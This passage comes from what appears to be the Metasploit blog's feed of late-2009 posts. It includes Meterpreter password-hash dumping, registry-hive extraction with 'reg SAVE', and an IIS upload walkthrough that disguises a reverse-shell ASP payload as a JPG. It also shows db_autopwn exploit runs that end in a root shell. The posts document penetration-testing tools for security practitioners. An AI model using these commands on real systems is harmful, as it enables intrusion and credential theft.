AUTHORITY\SYSTEM&lt;br /&gt;&lt;br /&gt;meterpreter &gt; &lt;b&gt;run hashdump&lt;/b&gt;&lt;br /&gt;[*] Obtaining the boot key...&lt;br /&gt;[*] Calculating the hboot key using SYSKEY 3ed7[...]&lt;br /&gt;[*] Obtaining the user list and keys...&lt;br /&gt;[*] Decrypting user keys...&lt;br /&gt;[*] Dumping password hashes...&lt;br /&gt;&lt;br /&gt;Administrator:500:aad3b435b51404eeaad3b435b51404ee:...&lt;br /&gt;Guest:501:aad3b435b51404eeaad3b435b51404ee:...&lt;br /&gt;HelpAssistant:1000:ce909bd50f46021bf4aa40680422f646:...&lt;br /&gt;SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:...::&lt;br /&gt;&lt;br /&gt;The caveat -- to run this Meterpreter script, you must already have access to a SYSTEM token. This is already the case if you are exploiting a system service, like the Server Service or most DCERPC vulnerabilities, but can require a few additional steps if you only have administrative access. The reason is that the Administrators group does not have read access to the registry tree that contains the encrypted password hashes. The next blog post will go into the nitty-gritty details of impersonation and privilege escalation on the Windows platform.&lt;br /&gt;&lt;br /&gt;-HD&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-284466849138860790?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/NjOl0SbtKSg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/284466849138860790/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=284466849138860790" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/284466849138860790?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/284466849138860790?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/NjOl0SbtKSg/safe-reliable-hash-dumping.html" title="Safe, Reliable, Hash Dumping" /><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="06740426853259097794" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://blog.metasploit.com/2010/01/safe-reliable-hash-dumping.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ck4NQns5cSp7ImA9WxBRE08.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-4548242966471919616</id><published>2009-12-31T04:34:00.000-08:00</published><updated>2009-12-31T20:43:13.529-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-12-31T20:43:13.529-08:00</app:edited><title>Exporting the Registry for Fun and Profit</title><content type="html">Over the last few days, I have been playing with &lt;a href="http://www.windowsaudit.com/"&gt;WinScanX&lt;/a&gt;, a free command-line tool for querying Windows service information over SMB. WinScanX combines many of the essential tools used during a penetration test into a single utility. One of the more &lt;a href="http://windowsaudit.com/winscanx/retrieving-password-hashes-with-winscanx-y/"&gt;interesting features&lt;/a&gt; is the "-y" flag, which instructs WinScanX to save a copy of the remote registry hives for SAM, SECURITY, and SYSTEM. These three hives can be used in conjunction with &lt;a href="http://www.oxid.it/cain.html"&gt;Cain and Abel&lt;/a&gt; or &lt;a href="http://code.google.com/p/creddump/"&gt;creddump&lt;/a&gt; to dump the LANMAN/NTLM hashes, view cached credentials, and decrypt LSA secrets. All very useful pieces of data for a penetration test. &lt;br /&gt;&lt;br /&gt;The traditional way to obtain this information is by injecting a thread into the LSASS.exe process, calling various undocumented Windows APIs, and exporting the decrypted data back out. The problem with this method is that process injection is not necessarily reliable, especially when third-party security products interfere with the injection code. Any crash in the LSASS.exe process will force the OS to halt or reboot, which is far from stealthy and generally not what you want have happen to a client's domain controller during a penetration test. The injection method is implemented by pwdump, fgcache, cachedump, and the "hashdump" command in the Metasploit Meterpreter payload. &lt;br /&gt;&lt;br /&gt;Since imitation is the sincerest form of flattery, I looked into how WinScanX implemented the registry hive export. Using the Remote Registry service over SMB/DCERPC, WinScanX calls the Save function, instructing the service to write an exported copy of the hive to the file system. WinScanX then downloads the hive using the ADMIN$ SMB share. This is a clean way to obtain the hive data, but newer versions of Windows disable the Remote Registry service by default, requiring the user to first enable it, then dump the hive, then disable it again. I would not be surprised if future versions of WinScanX implement this method.&lt;br /&gt;&lt;br /&gt;In the context of Metasploit, we have the advantage of direct code execution on the target system, either through an exploit, or using psexec and a valid set of credentials. Instead of going through the Remote Registry service, it might be easier to run a local command in order to grab the registry hive. The command of choice for this is "reg.exe", included with Windows XP and all newer versions of the Windows operating system (missing from NT 4.0 and Windows 2000, but available as a &lt;a href="http://support.microsoft.com/kb/301423"&gt;separate download&lt;/a&gt; from Microsoft). &lt;br /&gt;&lt;br /&gt;The "reg EXPORT" command can be used to take a copy of a specific piece of the registry; the EXPORT option generates human-readable output files that are easy to parse and can be imported into a new system for testing. Metasploit already uses "reg EXPORT" in various Meterpreter scripts, including "scraper.rb" and "winenum.rb". For capturing the HKLM\SYSTEM and HKLM\SAM hives, the EXPORT command works just fine, albeit the output files can get enormous. Trying to EXPORT the HKLM\SECURITY key (as Administrator), however, results in the following error:&lt;br /&gt;&lt;br /&gt;C:\&gt;&lt;b&gt;reg EXPORT HKLM\SECURITY security.reg&lt;/b&gt;&lt;br /&gt;ERROR: Access is denied.&lt;br /&gt;&lt;br /&gt;The SECURITY tree is required to dump cached credentials and LSA secrets (but not password hashes) and without it, we would be missing two important pieces of data. Going back to WinScanX, we see that it uses the Save function, and reg.exe offers a SAVE command, lets try that instead of EXPORT:&lt;br /&gt;&lt;br /&gt;C:\&gt;&lt;b&gt;reg SAVE HKLM\SECURITY security.hive&lt;/b&gt;&lt;br /&gt;The operation completed successfully.&lt;br /&gt;&lt;br /&gt;Hoorah! Even though the Administrator user does not have permission to read the HKLM\SECURITY key, reg.exe bypasses this restriction through the SAVE command. WinScanX uses the Save function call in the Remote Registry service, which likely calls the same backend function as reg.exe in this case. It looks like we have an easy way to grab the SECURITY hive from the command-line. This doesn't turn out to be quite the case, since this behavior changes depending on the version of Windows.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://twitter.com/edistrosar"&gt;Edi Strosar&lt;/a&gt; came up with the following table based on his testing:&lt;br /&gt;&lt;br /&gt;Windows 2000 SP4 (admin) = access denied&lt;br /&gt;Windows XP SP2 (admin) = access denied&lt;br /&gt;Windows XP SP3 (admin) = access denied&lt;br /&gt;Windows 2003 R2 SP2 (admin) = works&lt;br /&gt;Windows Vista SP2 (UAC/admin) = works&lt;br /&gt;Windows 2008 SP1 (admin) = works&lt;br /&gt;Windows 7 (UAC/admin) = works&lt;br /&gt;&lt;br /&gt;This is an odd case of older versions of Windows actually having tighter restrictions than newer ones. Even though Windows 2000/XP don't exhibit this behavior, these platforms have the Remote Registry service enabled by default, so WinScanX can be used to grab the SECURITY hive anyways. &lt;br /&gt;&lt;br /&gt;Keep in mind that using the raw hive file requires a tool that understands the raw registry format (Cain and Abel / creddump). In order for Metasploit to have support for cached credentials and LSA secrets, we will need to implement a registry parser in Ruby (creddump may be a good reference implementation). In the short-term, we can reimplement Meterpreter's "hashdump" to be purely registry-based. This will require &lt;a href="http://en.wikipedia.org/wiki/SYSKEY"&gt;SYSKEY&lt;/a&gt; code to be implemented, but this should be immediately feasible based on public documentation and the Ruby OpenSSL extension.&lt;br /&gt;&lt;br /&gt;Thanks to Edi Strosar, Carlos Perez, and Mario Vilas for their feedback on the reg.exe SAVE issue.&lt;br /&gt;&lt;br /&gt;-HD&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-4548242966471919616?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/zbxoegBrtKM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/4548242966471919616/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=4548242966471919616" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/4548242966471919616?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/4548242966471919616?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/zbxoegBrtKM/exporting-registry-for-fun-and-profit.html" title="Exporting the Registry for Fun and Profit" /><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="06740426853259097794" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">4</thr:total><feedburner:origLink>http://blog.metasploit.com/2009/12/exporting-registry-for-fun-and-profit.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUcFSXY6fyp7ImA9WxBREUw.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-7822358000167530780</id><published>2009-12-28T14:42:00.000-08:00</published><updated>2009-12-29T12:03:38.817-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-12-29T12:03:38.817-08:00</app:edited><title>Exploiting Microsoft IIS with Metasploit</title><content type="html">As of this afternoon, the &lt;b&gt;msfencode&lt;/b&gt; command has the ability to emit ASP scripts that execute Metasploit payloads. This can be used to exploit the &lt;s&gt;&lt;a href="http://blogs.technet.com/msrc/archive/2009/12/27/new-reports-of-a-vulnerability-in-iis.aspx"&gt;currently-unpatched&lt;/a&gt;&lt;/s&gt; file name parsing &lt;s&gt;bug&lt;/s&gt; &lt;a href="http://blogs.technet.com/msrc/archive/2009/12/29/results-of-investigation-into-holiday-iis-claim.aspx"&gt;feature&lt;/a&gt; in Microsoft IIS. This flaw allows a user who can upload a "safe" file extension (jpg, png, etc) to upload an ASP script and force it to execute on the web server. The bug occurs when a file name is specified in the form of "evil.asp;.jpg" -- the application checks the file extension and sees "jpg", but the IIS server will stop parsing at the first ";" and sees "asp". The result is trivial code execution on any IIS server that allows users to choose the file name of their uploaded attachment.&lt;br /&gt;&lt;br /&gt;For the following example, assume we have a web application that allows users to upload image files to the server. To complicate things, lets also assume that the application checks the file content to ensure that the uploaded file is a valid image. To exploit this, we need to generate an ASP script that drops a Meterpreter payload and configure a msfconsole instance to handle the session.&lt;br /&gt;&lt;br /&gt;First we generate an ASP script that does a Meterpreter connect-back to the system running Metasploit:&lt;br /&gt;&lt;br /&gt;$ &lt;b&gt;msfpayload windows/meterpreter/reverse_tcp \&lt;br /&gt;  LHOST=1.2.3.4 LPORT=8443 R | \&lt;br /&gt;  msfencode -o evil.asp&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now we need to configure msfconsole to accept the incoming connection:&lt;br /&gt;&lt;br /&gt;$ &lt;b&gt;msfconsole&lt;/b&gt;&lt;br /&gt;msf&gt; &lt;b&gt;use exploit/multi/handler&lt;/b&gt;&lt;br /&gt;msf (handler) &gt; &lt;b&gt;set PAYLOAD windows/meterpreter/reverse_tcp&lt;/b&gt;&lt;br /&gt;msf (handler) &gt; &lt;b&gt;set LHOST 1.2.3.4&lt;/b&gt;&lt;br /&gt;msf (handler) &gt; &lt;b&gt;set LPORT 8443&lt;/b&gt;&lt;br /&gt;msf (handler) &gt; &lt;b&gt;set ExitOnSession false&lt;/b&gt;&lt;br /&gt;msf (handler) &gt; &lt;b&gt;exploit -j&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;To avoid the image content validator, we will prepend a valid JPG image to our ASP script:&lt;br /&gt;&lt;br /&gt;$ &lt;b&gt;cat happy.jpg evil.asp &gt; "evil.asp;.jpg"&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;$ &lt;b&gt;file "evil.asp;.jpg"&lt;/b&gt;&lt;br /&gt;JPEG image data, JFIF standard 1.02&lt;br /&gt;&lt;br /&gt;Now we upload our "evil.asp;.jpg" image to the web application. Since the extension ends in "jpg" and the contents of the file appear to be a valid JPEG, the web application accepts the file and renames it to "/images/evil.asp;.jpg"&lt;br /&gt;&lt;br /&gt;Finally, we browse to the URL of the uploaded ASP/JPG, which will execute our payload and create a new session with the msfconsole:&lt;br /&gt;&lt;br /&gt;[*] Starting the payload handler...&lt;br /&gt;[*] Started reverse handler on port 8443&lt;br /&gt;[*] Sending stage (723456 bytes)&lt;br /&gt;[*] Meterpreter session 1 opened (192.168.0.xxx:8443 -&gt; 66.234.xx.xx:1186)&lt;br /&gt;&lt;br /&gt;msf exploit(handler) &gt; &lt;b&gt;sessions -i 1&lt;/b&gt;&lt;br /&gt;[*] Starting interaction with 1...&lt;br /&gt;&lt;br /&gt;meterpreter &gt; &lt;b&gt;shell&lt;/b&gt;&lt;br /&gt;Process 2668 created.&lt;br /&gt;Channel 1 created.&lt;br /&gt;wMicrosoft Windows [Version 5.2.3790]&lt;br /&gt;(C) Copyright 1985-2003 Microsoft Corp.&lt;br /&gt;&lt;br /&gt;c:\windows\system32\inetsrv&gt;&lt;b&gt;whoami&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;nt authority\network service&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-7822358000167530780?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/q1fnpi1nJTo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/7822358000167530780/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=7822358000167530780" title="6 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/7822358000167530780?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/7822358000167530780?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/q1fnpi1nJTo/exploiting-microsoft-iis-with.html" title="Exploiting Microsoft IIS with Metasploit" /><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="06740426853259097794" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">6</thr:total><feedburner:origLink>http://blog.metasploit.com/2009/12/exploiting-microsoft-iis-with.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0YCRns8fCp7ImA9WxBSGUU.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-7998885309564933252</id><published>2009-12-27T20:56:00.000-08:00</published><updated>2009-12-27T22:19:27.574-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-12-27T22:19:27.574-08:00</app:edited><title>Happy Holidays (Project Updates)</title><content type="html">Even though &lt;a href="http://www.metasploit.com/framework/download/"&gt;Metasploit 3.3.3&lt;/a&gt; was just released on December 23rd, the holidays provided some free time for the community and the development team to add more shiny to the Metasploit Framework. &lt;br /&gt;&lt;br /&gt;Metasploit now has the ability to discover, brute force, and query MySQL database servers. This was a multi-pronged effort led by &lt;a href="http://sqlmap.sourceforge.net/#author"&gt;Bernardo Damele A. G&lt;/a&gt;, combined with &lt;a href="http://tmtm.org/ruby/mysql/"&gt;TOMITA Masahiro&lt;/a&gt;'s pure Ruby MySQL driver, tweaked by myself, and &lt;a href="http://www.darkoperator.com/blog/2009/12/27/new-mysql-support-in-metasploit.html"&gt;concisely documented&lt;/a&gt; by Carlos Perez. We will continue to improve MySQL exploitation support by borrowing some of the other techniques that Bernardo implemented in SQLMap (UDFs, upload, download).&lt;br /&gt;&lt;br /&gt;SunRPC support and NFS export scanning has been improved due to a series of patches from Ty Bodell. Expect to see more work around SunRPC and NFS in the future as we start porting more RPC exploits and automate the exploitation of weak NFS exports.&lt;br /&gt;&lt;br /&gt;The database backend in Metasploit is going through some major changes; most recently, the report*() functions were modified to append to a queue as opposed to directly inserting data into the database. This solves a large number of performance problems and concurrency issues. This change ties in to the work by James Lee and Mike Smith in version 3.3.3 and has been integrated with the most of the existing auxiliary/scanner/ modules. For the average user, this means that once a database has been configured, modules will start automatically saving their results as they run.&lt;br /&gt;&lt;br /&gt;We added a NetBIOS name scanner that can retrieve the hostname, domain, and ethernet mac address of any machine running NetBIOS services (Windows, Samba). What makes this module unique is that it sends a second probe to each host, targeted at the NetBIOS hostname, asking for a list of IP addresses to which that name is bound. This effectively provides a way to enumerate all IP addresses of a Windows or Unix machine (running Samba) with just two UDP packets. This technique allows for the identification of VPN clients, VMWare virtual networks, wireless links, and multi-homed hosts. The examples below demonstrate this module and some of the results that can be found while using it.&lt;br /&gt;&lt;br /&gt;msf&gt; &lt;b&gt;use auxiliary/scanner/netbios/nbname&lt;/b&gt; &lt;br /&gt;msf auxiliary(nbname) &gt; &lt;b&gt;set RHOSTS 192.168.0.0/24&lt;/b&gt;&lt;br /&gt;msf auxiliary(nbname) &gt; &lt;b&gt;run&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;[*] Sending NetBIOS status requests to 192.168.0.0-&gt;192.168.0.255&lt;br /&gt;&lt;br /&gt;[*] 192.168.0.142 [WIN7SONY] OS:Windows&lt;br /&gt;Names:(WIN7SONY, WORKGROUP)&lt;br /&gt;Addresses:(192.168.0.142, &lt;b&gt;192.168.50.1&lt;/b&gt;, &lt;b&gt;192.168.6.1&lt;/b&gt;)&lt;br /&gt;Mac:00:1d:ba:xx:xx:xx&lt;br /&gt;&lt;br /&gt;[*] 192.168.0.2 [STORAGE] OS:Unix&lt;br /&gt;Names:(STORAGE, WORKGROUP)&lt;br /&gt;Addresses:(192.168.0.2, &lt;b&gt;66.194.xx.xx&lt;/b&gt;)&lt;br /&gt;Mac:00:00:00:00:00:00&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This example shows a Windows 7 machine running VMware Workstation (the two additional IP addresses) and an Ubuntu Linux system running Samba with both an internal and external IP address. An external machine running Samba with multiple interfaces would look something like:&lt;br /&gt;&lt;br /&gt;[*] 66.240.xx.xx [DBxxxxxx] OS:Unix&lt;br /&gt;Names:(DBxxxxxx, __MSBROWSE__)&lt;br /&gt;Addresses:(66.240.xx.xx, &lt;b&gt;71.6.yy.yy&lt;/b&gt;, &lt;b&gt;71.6.zz.zz&lt;/b&gt;)&lt;br /&gt;Mac:00:00:00:00:00:00&lt;br /&gt;&lt;br /&gt;The &lt;b&gt;sweep_udp&lt;/b&gt; module has been updated to parse out the NetBIOS status information but doesn't send the secondary probe to obtain the IP address list.&lt;br /&gt;&lt;br /&gt;Last but not least, we have added a number of new exploits and auxiliary modules to the tree since version 3.3.3 was released. These exploits include file format modules for Media Jukebox and Mini-stream as well as a remote exploit for HP Recovery Manager's Omni-Inet service.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-7998885309564933252?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/vuDyGf7Z2MY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/7998885309564933252/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=7998885309564933252" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/7998885309564933252?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/7998885309564933252?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/vuDyGf7Z2MY/happy-holidays-project-updates.html" title="Happy Holidays (Project Updates)" /><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="06740426853259097794" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://blog.metasploit.com/2009/12/happy-holidays-project-updates.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A04GRXg4fyp7ImA9WxBSFUo.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-4872347065327603901</id><published>2009-12-23T05:41:00.000-08:00</published><updated>2009-12-23T06:52:04.637-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-12-23T06:52:04.637-08:00</app:edited><title>Metasploit Framework 3.3.3 Exploit Rankings</title><content type="html">This morning we released &lt;a href="http://www.metasploit.com/framework/download/"&gt;version 3.3.3&lt;/a&gt; of the Metasploit Framework - this release focuses on  &lt;a href="http://www.metasploit.com/redmine/projects/framework/wiki/Exploit_Ranking"&gt;exploit rankings&lt;/a&gt;, session automation, and bug fixes. The exploit rank indicates how reliable the exploit is and how likely it is for the exploit to have a negative impact on the target system. This ranking can be used to  prevent exploits below a certain rank from being used and limit the impact to a particular target.&lt;br /&gt;&lt;br /&gt;The most basic use of ranking is the search command - this command now accepts the "-r" parameter, which takes an argument indicating the minimum ranking value to show. Valid ranks are excellent, great, good, normal, average, low, and manual. The &lt;a href="http://www.metasploit.com/redmine/projects/framework/wiki/Exploit_Ranking"&gt;wiki&lt;/a&gt; page goes into greater detail on what these levels actually mean. The following command would show all modules ranked as "great" or better:&lt;br /&gt;&lt;br /&gt;msf&gt; &lt;b&gt;search -r great&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;From the console, the MinimumRank global option can be used to prevent less-reliable exploits from being run by accident. The following commands demonstrate this feature:&lt;br /&gt;&lt;br /&gt;msf&gt; &lt;b&gt;setg MinimumRank excellent&lt;/b&gt;&lt;br /&gt;msf&gt; &lt;b&gt;use exploit/windows/smb/ms08_067_netapi&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;msf (exploit/ms08_067_netapi) &gt; &lt;b&gt;exploit&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;[-] This exploit is below the minimum rank, 'excellent'.&lt;br /&gt;[-] If you really want to run it, do 'exploit -f' or&lt;br /&gt;[-] setg MinimumRank to something lower ('manual' is&lt;br /&gt;[-] the lowest and would allow running all exploits).&lt;br /&gt;&lt;br /&gt;The exploit automation features in Metasploit have been updated to accept a minimum rank value as well. From the &lt;a href="http://www.metasploit.com/redmine/projects/framework/wiki/NeXpose_Plugin"&gt;nexpose_scan&lt;/a&gt; or db_autopwn commands, the "-R" parameter can be used to specify the minimum rank. This instructs the exploit matching algorithm to only run exploits with that rank or better, which not only speeds up the exploit process, but reduces the chance that the target machines and services will crash. The example below shows db_autopwn being used with a NeXpose scan import to only target vulnerabilities where the exploit is ranked excellent:&lt;br /&gt;&lt;br /&gt;msf exploit(psexec) &gt; &lt;b&gt;db_autopwn -b -x -t&lt;/b&gt;          &lt;br /&gt;[*]   XX.YY.44.223:1220  exploit/unix/webapp/qtss_parse_xml_exec  (CVE-2003-0050, BID-6954)&lt;br /&gt;[*]   XX.YY.41.188:445  exploit/windows/smb/ms08_067_netapi  (NEXPOSE-dcerpc-ms-netapi-netpathcanonicalize-dos)&lt;br /&gt;[*]   XX.YY.77.234:445  exploit/windows/smb/psexec  (CVE-1999-0504, CVE-1999-0504, CVE-1999-0504, CVE-1999-0504)&lt;br /&gt;[*]   XX.YY.47.203:445  exploit/windows/smb/ms08_067_netapi  (NEXPOSE-dcerpc-ms-netapi-netpathcanonicalize-dos)&lt;br /&gt;[*]   XX.YY.37.182:139  exploit/osx/samba/lsa_transnames_heap  (CVE-2007-2446, OSVDB-34699)&lt;br /&gt;[*]   XX.YY.32.2:445  exploit/osx/samba/lsa_transnames_heap  (CVE-2007-2446, OSVDB-34699)&lt;br /&gt;[*]   XX.YY.35.195:445  exploit/windows/smb/psexec  (CVE-1999-0504, CVE-1999-0504, CVE-1999-0504, CVE-1999-0504)&lt;br /&gt;[*]   XX.YY.32.2:139  exploit/osx/samba/lsa_transnames_heap  (CVE-2007-2446, OSVDB-34699)&lt;br /&gt;[*]   XX.YY.44.223:139  exploit/solaris/samba/trans2open  (CVE-2003-0201, BID-7294)&lt;br /&gt;[*]   XX.YY.44.223:139  exploit/multi/samba/nttrans  (CVE-2003-0085, BID-7106)&lt;br /&gt;[*]   XX.YY.47.203:135  exploit/windows/dcerpc/ms03_026_dcom  (CVE-2003-0352, BID-8205)&lt;br /&gt;[*]   XX.YY.47.203:445  exploit/windows/smb/ms06_040_netapi  (CVE-2006-3439)&lt;br /&gt;[*]   XX.YY.72.243:445  exploit/windows/smb/ms08_067_netapi  (NEXPOSE-dcerpc-ms-netapi-netpathcanonicalize-dos)&lt;br /&gt;[*]   XX.YY.72.243:445  exploit/windows/smb/ms06_040_netapi  (CVE-2006-3439)&lt;br /&gt;[*]   XX.YY.37.182:445  exploit/osx/samba/lsa_transnames_heap  (CVE-2007-2446, OSVDB-34699)&lt;br /&gt;[*]   XX.YY.34.236:135  exploit/windows/dcerpc/ms03_026_dcom  (CVE-2003-0352, BID-8205)&lt;br /&gt;[*]   XX.YY.41.188:135  exploit/windows/dcerpc/ms03_026_dcom  (CVE-2003-0352, BID-8205)&lt;br /&gt;[*]   XX.YY.41.188:445  exploit/windows/smb/ms06_040_netapi  (CVE-2006-3439)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;msf exploit(psexec) &gt; &lt;b&gt;db_autopwn -b -x -t -R excellent&lt;/b&gt;&lt;br /&gt;[*]   XX.YY.44.223:1220  exploit/unix/webapp/qtss_parse_xml_exec  (CVE-2003-0050, BID-6954)&lt;br /&gt;[*]   XX.YY.77.234:445  exploit/windows/smb/psexec  (CVE-1999-0504, CVE-1999-0504, CVE-1999-0504, CVE-1999-0504)&lt;br /&gt;[*]   XX.YY.35.195:445  exploit/windows/smb/psexec  (CVE-1999-0504, CVE-1999-0504, CVE-1999-0504, CVE-1999-0504)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;msf exploit(psexec) &gt; &lt;b&gt;db_autopwn -b -x -R excellent -e&lt;/b&gt;&lt;br /&gt;[*] (1/3 [0 sessions]): Launching exploit/unix/webapp/qtss_parse_xml_exec against XX.YY.44.223:1220...&lt;br /&gt;[*] (2/3 [0 sessions]): Launching exploit/windows/smb/psexec against XX.YY.77.234:445...&lt;br /&gt;[*] (3/3 [0 sessions]): Launching exploit/windows/smb/psexec against XX.YY.35.195:445...&lt;br /&gt;[*] (3/3 [0 sessions]): Waiting on 3 launched modules to finish execution...&lt;br /&gt;[*] Command shell session 1 opened (192.168.198.128:45146 -&gt; XX.YY.44.223:32554)&lt;br /&gt;[*] (3/3 [1 sessions]): Waiting on 1 launched modules to finish execution...&lt;br /&gt;[*] (3/3 [1 sessions]): Waiting on 1 launched modules to finish execution...&lt;br /&gt;[*] The autopwn command has completed with 1 sessions&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Active sessions&lt;br /&gt;===============&lt;br /&gt;  Id  Description    Tunnel                                      Via&lt;br /&gt;  --  -----------    ------                                      ---&lt;br /&gt;  1   Command shell  192.168.198.128:45146 -&gt; XX.YY.44.223:32554  unix/webapp/qtss_parse_xml_exec&lt;br /&gt;&lt;br /&gt;msf exploit(psexec) &gt; &lt;b&gt;sessions -i 1&lt;/b&gt; &lt;br /&gt;[*] Starting interaction with 1...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;uname -a&lt;/b&gt;&lt;br /&gt;Darwin mactgts 5.5 Darwin Kernel Version 5.5: Thu May 30 14:51:26 PDT 2002; root:xnu/xnu-201.42.3.obj~1/RELEASE_PPC  Power Macintosh powerpc&lt;br /&gt;&lt;br /&gt;&lt;b&gt;id&lt;/b&gt;&lt;br /&gt;uid=0(root) gid=0(wheel) groups=0(wheel)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-4872347065327603901?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/mtd9wluFJQE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/4872347065327603901/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=4872347065327603901" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/4872347065327603901?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/4872347065327603901?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/mtd9wluFJQE/metasploit-framework-333-exploit.html" title="Metasploit Framework 3.3.3 Exploit Rankings" /><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="06740426853259097794" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://blog.metasploit.com/2009/12/metasploit-framework-333-exploit.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0QGSHk9cSp7ImA9WxBTF0Q.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-4006633781494184139</id><published>2009-12-14T08:13:00.000-08:00</published><updated>2009-12-14T06:02:09.769-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-12-14T06:02:09.769-08:00</app:edited><title>Meterpreter Pivoting, Web Scanning, Wireless, and More!</title><content type="html">Last week we released &lt;a href="http://www.metasploit.com/redmine/projects/framework/wiki/Release_Notes_332"&gt;Metasploit 3.3.2&lt;/a&gt; following on the heels of &lt;a 